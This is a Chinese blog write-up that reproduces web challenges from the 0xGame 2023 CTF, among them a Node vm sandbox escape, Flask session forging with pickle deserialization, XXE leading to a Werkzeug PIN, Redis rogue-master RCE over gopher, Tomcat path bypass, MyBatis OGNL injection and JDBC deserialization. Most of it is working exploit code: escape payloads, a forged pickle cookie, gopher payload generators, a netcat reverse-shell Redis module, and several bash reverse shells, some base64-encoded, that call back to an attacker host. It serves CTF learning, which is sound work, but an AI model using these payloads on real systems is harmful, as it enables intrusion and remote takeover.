CTF 复现 0xGame 0xGame 2023 部分题目复现与学习 Natro92 2024-03-22 2024-03-22 前言 之前看到这个一直想搞,但是鸽了没有复现,提供了不少经典的内容,这里挑几个感兴趣的复现一下。 官方WP及docker下载:https://github.com/X1cT34m/0xGame2023/tree/main
Week 2 ez_sandbox 之前一直没学习过vm沙箱逃逸。于是趁这个简单题学习一下。 docker部署(对应文件夹下):
1 2 docker build -t ez_sandbox -f .\Dockerfile . docker run -p 8111:3000 --name ez_sandbox [imageId]
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 const crypto = require ('crypto' )const vm = require ('vm' );const express = require ('express' )const session = require ('express-session' )const bodyParser = require ('body-parser' )var app = express ()app.use (bodyParser.json ()) app.use (session ({ secret : crypto.randomBytes (64 ).toString ('hex' ), resave : false , saveUninitialized : true })) var users = {}var admins = {}function merge (target, source ) { for (let key in source) { if (key === '__proto__' ) { continue } if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } return target } function clone (source ) { return merge ({}, source) } function waf (code ) { let blacklist = ['constructor' , 'mainModule' , 'require' , 'child_process' , 'process' , 'exec' , 'execSync' , 'execFile' , 'execFileSync' , 'spawn' , 'spawnSync' , 'fork' ] for (let v of blacklist) { if (code.includes (v)) { throw new Error (v + ' is banned' ) } } } function requireLogin (req, res, next ) { if (!req.session .user ) { res.redirect ('/login' ) } else { next () } } app.use (function (req, res, next ) { for (let key in Object .prototype ) { delete Object .prototype [key] } next () }) app.get ('/' , requireLogin, function (req, res ) { res.sendFile (__dirname + '/public/index.html' ) }) app.get ('/login' , function (req, res ) { res.sendFile (__dirname + '/public/login.html' ) }) app.get ('/register' , function (req, res ) { res.sendFile (__dirname + '/public/register.html' ) }) app.post ('/login' , function (req, res ) { let { username, password } = clone (req.body ) if (username in users && password === users[username]) { req.session .user = username if (username in admins) { req.session .role = 'admin' } else { req.session .role = 'guest' } res.send ({ 'message' : 'login success' }) } else { res.send ({ 'message' : 'login failed' }) } }) app.post ('/register' , function (req, res ) { let { username, password } = clone (req.body ) if (username in users) { res.send ({ 'message' : 'register failed' }) } else { users[username] = password res.send ({ 'message' : 'register success' }) } }) app.get ('/profile' , requireLogin, function (req, res ) { res.send ({ 'user' : req.session .user , 'role' : req.session .role }) }) app.post ('/sandbox' , requireLogin, function (req, res ) { if (req.session .role === 'admin' ) { let code = req.body .code let sandbox = Object .create (null ) let context = vm.createContext (sandbox) try { waf (code) let result = vm.runInContext (code, context) res.send ({ 'result' : result }) } catch (e) { res.send ({ 'result' : e.message }) } } else { res.send ({ 'result' : 'Your role is not admin, so you can not run any code' }) } }) app.get ('/logout' , requireLogin, function (req, res ) { req.session .destroy () res.redirect ('/login' ) }) app.listen (3000 , function ( ) { console .log ('server start listening on :3000' ) })
看到merge就知道要原型链污染,来让我们用admin的身份登录。但是这里ban了一些字段:let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
而且在merge中也将__proto__
参数禁用了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function merge (target, source ) { for (let key in source) { if (key === '__proto__' ) { continue } if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } return target } function clone (source ) { return merge ({}, source) }
但是这里无伤大雅,可以使用:constructor.prototype
来进行替代。 register和login中都用了clone,我们在任一个中污染即可。 于是我们可以构造出内容:
1 2 3 4 5 6 7 8 9 { "username" : "natro92" , "password" : "123" , "constructor" : { "prototype" : { "natro92" : "123" } } }
然后就是vm沙箱逃逸:
https://xz.aliyun.com/t/11859 vm沙箱逃逸
vm沙箱逃逸的本质就是获取到沙箱外的对象,然后获取到它的constructor的属性。 通过引用arugments.callee.caller
获取到函数的调用者,来获取到process
对象,再引用child_process
来进行命令执行。 这里官方WP使用的用中括号和+
来进行绕过。
https://www.anquanke.com/post/id/237032 nodejs中代码执行绕过的一些技巧
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 throw new Proxy ({}, { get : function ( ){ const c = arguments .callee .caller const p = (c['constru' +'ctor' ]['constru' +'ctor' ]('return pro' +'cess' ))() return p['mainM' +'odule' ]['requi' +'re' ]('child_pr' +'ocess' )['ex' +'ecSync' ]('cat /flag' ).toString (); } }) let obj = {} obj.__defineGetter__ ('message' , function ( ){ const c = arguments .callee .caller const p = (c['constru' +'ctor' ]['constru' +'ctor' ]('return pro' +'cess' ))() return p['mainM' +'odule' ]['requi' +'re' ]('child_pr' +'ocess' )['ex' +'ecSync' ]('cat /flag' ).toString (); }) throw objthrow new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc[`${`constructo` } r` ][`${`constructo` } r` ](`return ${`proces` } s` ))(); return p[`${`mainModul` } e` ][`${`requir` } e` ]('child_pr' +'ocess' )[`${`exe` } cSync` }`]('id').toString(); } });
运行即可。
Week3 notebook https://www.leavesongs.com/PENETRATION/client-session-security.html 客户端 session 导致的安全问题
部署:
1 2 docker build -t notebook -f .\Dockerfile . docker run -p 8111 :8000 --name notebook [imageId ]
考察pickle反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from flask import Flask, request, render_template, sessionimport pickleimport uuidimport osapp = Flask(__name__) app.config['SECRET_KEY' ] = os.urandom(2 ).hex () class Note (object ): def __init__ (self, name, content ): self ._name = name self ._content = content @property def name (self ): return self ._name @property def content (self ): return self ._content @app.route('/' ) def index (): return render_template('index.html' ) @app.route('/<path:note_id>' , methods=['GET' ] ) def view_note (note_id ): notes = session.get('notes' ) if not notes: return render_template('note.html' , msg='You have no notes' ) note_raw = notes.get(note_id) if not note_raw: return render_template('note.html' , msg='This note does not exist' ) note = pickle.loads(note_raw) return render_template('note.html' , note_id=note_id, note_name=note.name, note_content=note.content) @app.route('/add_note' , methods=['POST' ] ) def add_note (): note_name = request.form.get('note_name' ) note_content = request.form.get('note_content' ) if note_name == '' or note_content == '' : return render_template('index.html' , status='add_failed' , msg='note name or content is empty' ) note_id = str (uuid.uuid4()) note = Note(note_name, note_content) if not session.get('notes' ): session['notes' ] = {} notes = session['notes' ] notes[note_id] = pickle.dumps(note) session['notes' ] = notes return render_template('index.html' , status='add_success' , note_id=note_id) @app.route('/delete_note' , methods=['POST' ] ) def delete_note (): note_id = request.form.get('note_id' ) if not note_id: return render_template('index.html' ) notes = session.get('notes' ) if not notes: return render_template('index.html' , status='delete_failed' , msg='You have no notes' ) if not notes.get(note_id): return render_template('index.html' , status='delete_failed' , msg='This note does not exist' ) del notes[note_id] session['notes' ] = notes return render_template('index.html' , status='delete_success' ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 , debug=False )
很早之前就接触了,但是因为各种原因都鸽了。现在学下: flask的session存储在cookie中,加密手段和JWT类似,也就是虽然有secretkey进行签名,但是有和JWT类似的缺点,可以看到session中存储的信息,只不过无法进行修改。 这里使用的secretkey只有4位。
1 app.config['SECRET_KEY' ] = os.urandom(2 ).hex ()
位数过短就会出现被爆破的问题。 简单编写一个生成脚本:
1 2 3 4 5 6 7 8 9 10 import itertoolsd = itertools.product('0123456789abcdef' , repeat=4 ) with open ('dict.txt' , 'w' ) as f: for i in d: f.write('' .join(i) + '\n' )
解析之前任意生成一个note即可,这里有session。 使用工具进行爆破:
https://github.com/noraj/flask-session-cookie-manager https://github.com/Paradoxis/Flask-Unsign
第一个用过了,试一试第二个,我这里用wsl运行的。
1 2 3 4 pip3 install flask-unsign flask-unsign -u -c '.eJwtit0KgjAYQF8ldj9w080peKGSKKXgv3j5ibNkWlBkIL57Rp3Lc86K5tuzfyB7RUSaHedCxyblBjYYFxh0yrDoOSOkI8KQ5vc7ALLR4OZVmrp__NgPLAl1cAdlSRUtx2KytLbNC-VPngppeYqWoKHsAnVdjm6mtU2i7V_U0OQFc6ZgznffveMx-bWwup4Hx0Hbtn0A-N4xZw.Zffpvw.dynBsAEyjpu1xW4uarnO-6eJHdk' -w dicts.txt --no-literal-eval
5f5a
然后就是pickle反序列化。
https://xz.aliyun.com/t/7436
1 2 3 4 5 6 7 8 9 10 11 12 @app.route('/<path:note_id>' , methods=['GET' ] ) def view_note (note_id ): notes = session.get('notes' ) if not notes: return render_template('note.html' , msg='You have no notes' ) note_raw = notes.get(note_id) if not note_raw: return render_template('note.html' , msg='This note does not exist' ) note = pickle.loads(note_raw) return render_template('note.html' , note_id=note_id, note_name=note.name, note_content=note.content)
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport osclass genpoc (object ): def __reduce__ (self ): s = """echo test > poc.txt""" return os.system, (s,) e = genpoc() poc = pickle.dumps(e) print (poc)
这里在官方wp中有几个问题,我觉得挺重要的:
然后你得知道上面这个反弹 shell 的语法其实是 bash 自身的特性, 而其它 shell 例如 sh, zsh 并不支持这个功能 对于题目的环境而言, 当你执行这条命令的时候, 它实际上是在 sh 的 context 中执行的, >& 以及 /dev/tcp/IP/Port 会被 sh 解析, 而不是 bash, 因此会报错 也就是说,并不是可能使用的不是bash就会导致这些问题,解决方法也就是网上常用的套一层bash -c
1 bash -c "bash -i >& /dev/tcp/xxxx/8888 0>&1"
然后构造payload即可(这里用dnslog或者bp的外带也可。)
1 flask-unsign --sign --cookie "{'notes': {'evil': b'''cos\nsystem\n(S'bash -c \"bash -i >& /dev/tcp/[your-vps-ip]/8888 0>&1\"'\ntR.'''}}" --secret 5f5a --no-literal-eval
部署
1 2 docker build -t rss_parser -f .\Dockerfile . docker run -p 8111 :8000 --name rss_parser [imageId]
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from flask import Flask, render_template, request, redirectfrom urllib.parse import unquotefrom lxml import etreefrom io import BytesIOimport requestsimport reapp = Flask(__name__) @app.route('/' , methods=['GET' , 'POST' ] ) def index (): if request.method == 'GET' : return render_template('index.html' ) else : feed_url = request.form['url' ] if not re.match (r'^(http|https)://' , feed_url): return redirect('/' ) content = requests.get(feed_url).content tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True )) result = {} rss_title = tree.find('/channel/title' ).text rss_link = tree.find('/channel/link' ).text rss_posts = tree.findall('/channel/item' ) result['title' ] = rss_title result['link' ] = rss_link result['posts' ] = [] if len (rss_posts) >= 10 : rss_posts = rss_posts[:10 ] for post in rss_posts: post_title = post.find('./title' ).text post_link = post.find('./link' ).text result['posts' ].append({'title' : post_title, 'link' : unquote(post_link)}) return render_template('index.html' , feed_url=feed_url, result=result) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 , debug=True )
从内容上可以看出是解析rss的订阅的内容。但是我测试了一下我的rss会报错?etree.parse
存在XXE漏洞。
1 etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True ))
当resolve_entities
被设置为True时,就会解析XXE实体。
https://github.com/MisakiKata/python_code_audit/blob/master/XXE.md
XXE payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///file/place" > ]><rss xmlns:atom ="http://www.w3.org/2005/Atom" version ="2.0" > <channel > <title > &file; </title > <link > https://natro92.fun/</link > <item > <title > test</title > <link > https://natro92.fun/</link > </item > </channel > </rss >
这里我简单说一下怎么快速起一个html页面:
用httpd快速起一个HTML页面 使用httpd来搭建:
1 2 3 4 5 # 安装httpd,根据使用的系统 yum install httpd # 在这之后会生成 /var/www/html 文件夹 systemctl start httpd # 这时你可以访问到默认页面,在/var/www/html下放置html文件在80端口进行访问。
然后将地址放置到题目中: 这里不能直接读取到flag,但由于使用了Flask的debug模式,因此可以使用PIN code来进行 将读取文件的位置修改为/sys/class/net/eth0/address
转为十进制:
1 2 print(int('02:42:ac:11:00:02'.replace(':',''),16)) 2485377892354
https://xz.aliyun.com/t/8092 https://www.tr0y.wang/2022/05/16/SecMap-flask/
然后读取/proc/sys/kernel/random/boot_id
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///proc/sys/kernel/random/boot_id" > ]><rss xmlns:atom ="http://www.w3.org/2005/Atom" version ="2.0" > <channel > <title > &file; </title > <link > https://natro92.fun/</link > <item > <title > test</title > <link > https://natro92.fun/</link > </item > </channel > </rss >
86be6524-f2c2-41a1-8ee3-9462e5a3f4a9
再读取/proc/self/cgroup
。0::/docker/f8a44004ca3dec942aa726196408e53a8a96d170932016d40ae77122b0ac9ab4
再读取/etc/machine-id/
(这里docker不用看这个)username
一般是root
或用户app
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import hashlibfrom itertools import chainprobably_public_bits = [ 'app' 'flask.app' , 'Flask' , '/usr/local/lib/python3.9/site-packages/flask/app.py' ] private_bits = [ '2485377892354' , '86be6524-f2c2-41a1-8ee3-9462e5a3f4a9' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode("utf-8" ) h.update(bit) h.update(b"cookiesalt" ) cookie_name = f"__wzd{h.hexdigest()[:20 ]} " num = None if num is None : h.update(b"pinsalt" ) num = f"{int (h.hexdigest(), 16 ):09d} " [:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join( num[x : x + group_size].rjust(group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num print (rv)
然后运行/readflag
即可。
zip_manager 部署
1 2 docker build -t zip_manager -f .\Dockerfile . docker run -p 8111 :8000 --name zip_manager [imageId]
或者
但这题似乎docker有问题,没搭建成。 考点是软链接和命令注入。
1 2 ln -s / test zip -y test.zip test
上传后访问http://127.0.0.1:50033/test/test/
web_snapshot 这题用curl函数将html保存在Redis中。存在ssrf。但是限制了协议只能http/https
。 使用curl_setopt
设置了CURLOPT_FOLLOWLOCATION
,可以让curl根据返回头的Location进行重定向。
https://www.php.net/manual/zh/function.curl-setopt.php
可以通过设置为true和Location来将http重定向到dict、gopher
协议。 但是web服务和redis服务不在同一个服务器,不能写入shell来RCE。
https://www.cnblogs.com/xiaozi/p/13089906.html redis主从复制rcehttps://github.com/Dliv3/redis-rogue-server redis主从复制
通过设置slave of
参数达到设置主从状态。 主机的值的修改会同步到从机上。 官方WPpayload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsimport redef urlencode (data ): enc_data = '' for i in data: h = str (hex (ord (i))).replace('0x' , '' ) if len (h) == 1 : enc_data += '%0' + h.upper() else : enc_data += '%' + h.upper() return enc_data def gen_payload (payload ): redis_payload = '' for i in payload.split('\n' ): arg_num = '*' + str (len (i.split(' ' ))) redis_payload += arg_num + '\r\n' for j in i.split(' ' ): arg_len = '$' + str (len (j)) redis_payload += arg_len + '\r\n' redis_payload += j + '\r\n' gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload) return gopher_payload payload1 = ''' slaveof host.docker.internal 21000 config set dir /tmp config set dbfilename exp.so quit ''' payload2 = '''slaveof no one module load /tmp/exp.so system.exec 'env' quit ''' print (gen_payload(payload1))print (gen_payload(payload2))
分两次打,放置: vps起php文件 php -S 0.0.0.0:port
或者apache或nginx。 恶意Redis server:
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
1 python3 redis_rogue_server.py -v -lport 8888 -path exp.so
RedisModulesSDK/exp/exp.c 一个函数,make编译后生成的exp.so
https://github.com/vulhub/redis-rogue-getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int RevShellCommand (RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (argc == 3 ) { size_t cmd_len; char *ip = RedisModule_StringPtrLen(argv[1 ], &cmd_len); char *port_s = RedisModule_StringPtrLen(argv[2 ], &cmd_len); int port = atoi(port_s); int pid; char * succ= "+OK" ; pid = fork(); if (pid || pid == -1 ){ RedisModuleString *ret = RedisModule_CreateString(ctx, succ, strlen (succ)); RedisModule_ReplyWithString(ctx, ret); RedisModule_FreeString(ctx,ret); return REDISMODULE_OK; } system("nc ip port -e sh" ); return REDISMODULE_OK; } else { return RedisModule_WrongArity(ctx); } return REDISMODULE_OK; }
1 2 3 4 5 6 7 <?php header ('Location: gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%30%0D%0A%68%6F%73%74%2E%64%6F%63%6B%65%72%2E%69%6E%74%65%72%6E%61%6C%0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A' );
这个环境我搞起来也多少有点问题😵没复现成功。
GoShop 访问ip:50033
1 2 3 4 5 6 7 8 9 10 11 if user.Money >= product.Price*int64 (n) { user.Money -= product.Price * int64 (n) user.Items[product.Name] += int64 (n) c.JSON(200 , gin.H{ "message" : fmt.Sprintf("Buy %v * %v success" , product.Name, n), }) } else { c.JSON(200 , gin.H{ "message" : "You don't have enough money" , }) }
go是强类型语言。虽然会在定义时检查变量是否溢出 ,但是不会检测运算时是否出现溢出。 可以控制n使product.Price * int64(n)
溢出为负数,在进行user.Money -= product.Price * int64(n)
时就会出现金钱数增加的情况。
Week4 spring 最喜欢的一集,hvv靠这个捞了点分。 actuator信息泄露。直接访问/actuator/env
发现信息: 然后访问/actuator/heapdump
用JDumpSpider读取:
https://github.com/whwlsfb/JDumpSpider
1 java -jar .\JDumpSpider-1.1 -SNAPSHOT-full.jar "D:\heapdump"
读取即可:
auth_bypass 题目附件给了 AuthFilter.java 和 DownloadServlet.java。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example.demo;import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import java.io.IOException;public class AuthFilter implements Filter { @Override public void init (FilterConfig filterConfig) { } @Override public void destroy () { } @Override public void doFilter (ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; if (request.getRequestURI().contains(".." )) { resp.getWriter().write("blacklist" ); return ; } if (request.getRequestURI().startsWith("/download" )) { resp.getWriter().write("unauthorized access" ); } else { chain.doFilter(req, resp); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.example.demo;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.FileInputStream;import java.io.IOException;public class DownloadServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws IOException { String currentPath = this .getServletContext().getRealPath("/assets/" ); Object fileNameParameter = req.getParameter("filename" ); if (fileNameParameter != null ) { String fileName = (String) fileNameParameter; resp.setHeader("Content-Disposition" ,"attachment;filename=" +fileName); try (FileInputStream input = new FileInputStream (currentPath + fileName)) { byte [] buffer = new byte [4096 ]; while (input.read(buffer) != -1 ) { resp.getOutputStream().write(buffer); } } } else { resp.setContentType("text/html" ); resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>" ); } } }
任意文件读取。需要绕过..
和/download
https://www.cnblogs.com/depycode/p/16124191.html
getRequestURI()
不会自动urldecode,不会进行标准化去掉/
和.
,因此可以通过//download
进行访问,但是无法读取flag,所以需要RCE。 题目用war打包。 tomcat在部署war时会将其解压,WEB-INF中存在编译好的class文件和web.xml。 下载web.xml//download?filename=%2e%2e/WEB-INF/web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version ="4.0" > <servlet > <servlet-name > IndexServlet</servlet-name > <servlet-class > com.example.demo.IndexServlet</servlet-class > </servlet > <servlet > <servlet-name > DownloadServlet</servlet-name > <servlet-class > com.example.demo.DownloadServlet</servlet-class > </servlet > <servlet > <servlet-name > EvilServlet</servlet-name > <servlet-class > com.example.demo.EvilServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > IndexServlet</servlet-name > <url-pattern > /</url-pattern > </servlet-mapping > <servlet-mapping > <servlet-name > DownloadServlet</servlet-name > <url-pattern > /download</url-pattern > </servlet-mapping > <servlet-mapping > <servlet-name > EvilServlet</servlet-name > <url-pattern > /You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern > </servlet-mapping > <filter > <filter-name > AuthFilter</filter-name > <filter-class > com.example.demo.AuthFilter</filter-class > </filter > <filter-mapping > <filter-name > AuthFilter</filter-name > <url-pattern > /*</url-pattern > </filter-mapping > </web-app >
能发现存在一个EvilServlet在/You_Find_This_Evil_Servlet_a76f02cb8422
先下载EvilServlet。
1 //download?filename=%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class
在JD-GUI中反编译打开。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.io.IOException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class EvilServlet extends HttpServlet { protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws IOException { String cmd = req.getParameter("Evil_Cmd_Arguments_fe37627fed78" ); try { Runtime.getRuntime().exec(cmd); resp.getWriter().write("success" ); } catch (Exception e) { resp.getWriter().write("error" ); } } }
直接执行命令。 反弹shell即可。
注意传入Runtime.exec的命令需要进行一次编码https://www.adminxe.com/tools/code.html https://ares-x.com/tools/runtime-exec/ https://github.com/Threekiii/Awesome-Redteam/blob/master/scripts/runtime-exec-payloads.html
https://www.anquanke.com/post/id/243329 https://y4er.com/posts/java-exec-command/
urlencode一次:
YourBatis 存在mybatis 2.1.1 OGNL表达式注入。
https://www.cnpanda.net/sec/1227.html https://forum.butian.net/share/1749
这有一个小坑, 如果 jar 包使用 JD-GUI 反编译的话就无法正常得到 UserSqlProvider 这个类的内容, 必须得使用 IDEA 自带的反编译器或者 Jadx-GUI 等其它工具才行 /user路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.example.yourbatis.provider;import org.apache.ibatis.jdbc.SQL;public class UserSqlProvider { public UserSqlProvider () { } public String buildGetUsers () { return (new SQL () { { this .SELECT("*" ); this .FROM("users" ); } }).toString(); } public String buildGetUserByUsername (final String username) { return (new SQL () { { this .SELECT("*" ); this .FROM("users" ); this .WHERE(String.format("username = '%s'" , username)); } }).toString(); } }
username存在SQL注入。 如果正常用OGNL表达式反弹shell:
1 2 3 ${@java .lang.Runtime@getRuntime() .exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTUuMjA0LjEwMS84ODg4IDA+JjE=}|{base64,- d}|{bash,-i}" )}
传入内容中的{}会被解释为另一个OGNL表达式,使用OGNL调用Java自身的base64 decode方法。
1 ${@java .lang.Runtime@getRuntime() .exec(new java .lang.String(@java .util.Base64@getDecoder() .decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzgwTnk0eE1UVXVNakEwTGpFd01TODRPRGc0SURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQ==' )))}
然后urlencode全部内容:
1 %24 %7b%40 %6a%61 %76 %61 %2e%6c%61 %6e%67 %2e%52 %75 %6e%74 %69 %6d %65 %40 %67 %65 %74 %52 %75 %6e%74 %69 %6d %65 %28 %29 %2e%65 %78 %65 %63 %28 %6e%65 %77 %20 %6a%61 %76 %61 %2e%6c%61 %6e%67 %2e%53 %74 %72 %69 %6e%67 %28 %40 %6a%61 %76 %61 %2e%75 %74 %69 %6c%2e%42 %61 %73 %65 %36 %34 %40 %67 %65 %74 %44 %65 %63 %6f %64 %65 %72 %28 %29 %2e%64 %65 %63 %6f %64 %65 %28 %27 %59 %6d %46 %7a%61 %43 %41 %74 %59 %79 %42 %37 %5a%57 %4e%6f %62 %79 %78 %5a%62 %55 %5a%36 %59 %55 %4e%42 %64 %47 %46 %54 %51 %53 %74 %4b%61 %55 %46 %32 %57 %6b%64 %57 %4d %6b%77 %7a%55 %6d %70 %6a%51 %7a%67 %77 %54 %6e%6b%30 %65 %45 %31 %55 %56 %58 %56 %4e%61 %6b%45 %77 %54 %47 %70 %46 %64 %30 %31 %54 %4f %44 %52 %50 %52 %47 %63 %30 %53 %55 %52 %42 %4b%30 %70 %71 %52 %54 %31 %39 %66 %48 %74 %69 %59 %58 %4e%6c%4e%6a%51 %73 %4c%57 %52 %39 %66 %48 %74 %69 %59 %58 %4e%6f %4c%43 %31 %70 %66 %51 %3d %3d %27 %29 %29 %29 %7d
TestConnection JDBC连接 pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <dependency > <groupId > mysql</groupId > <artifactId > mysql-connector-java</artifactId > <version > 8.0.11</version > <scope > runtime</scope > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > org.postgresql</groupId > <artifactId > postgresql</artifactId > <version > 42.3.1</version > <scope > runtime</scope > </dependency > </dependencies >
mysql、postgresql和cc依赖。 MYSQL JDBC 反序列化:
https://tttang.com/archive/1877/#toc_
mysql jdbc利用工具:
https://github.com/4ra1n/mysql-fake-server https://github.com/rmb122/rogue_mysql_server
方法一 这里用mysql-fake-server示例。 jdbc连接的是你开的恶意Mysql数据库: payload:
1 /testConnection?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://192.168.124.9:43114/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSAxxxxxjEwMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}&password=123
jdbc url编码一层:
1 /testConnection?driver=com.mysql.cj.jdbc.Driver&url=%6a%64%62%63%3a%6d%79%73%71%6c%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%39%3a%34%33%31%31%34%2f%74%65%73%74%3f%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65%3d%74%72%75%65%26%71%75%65%72%79%49%6e%74%65%72%63%65%70%74%6f%72%73%3d%63%6f%6d%2e%6d%79%73%71%6c%2e%63%6a%2e%6a%64%62%63%2e%69%6e%74%65%72%63%65%70%74%6f%72%73%2e%53%65%72%76%65%72%53%74%61%74%75%73%44%69%66%66%49%6e%74%65%72%63%65%70%74%6f%72&username=%64%65%73%65%72%5f%43%43%33%31%5f%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%78%4d%54%55%75%4d%6a%41%30%4c%6a%45%77%4d%53%38%34%4f%44%67%34%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d&password=123
然后打过去:
方法二 用postgresql驱动 构造xml:
https://xz.aliyun.com/t/11812
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}</value > </list > </constructor-arg > </bean > </beans >
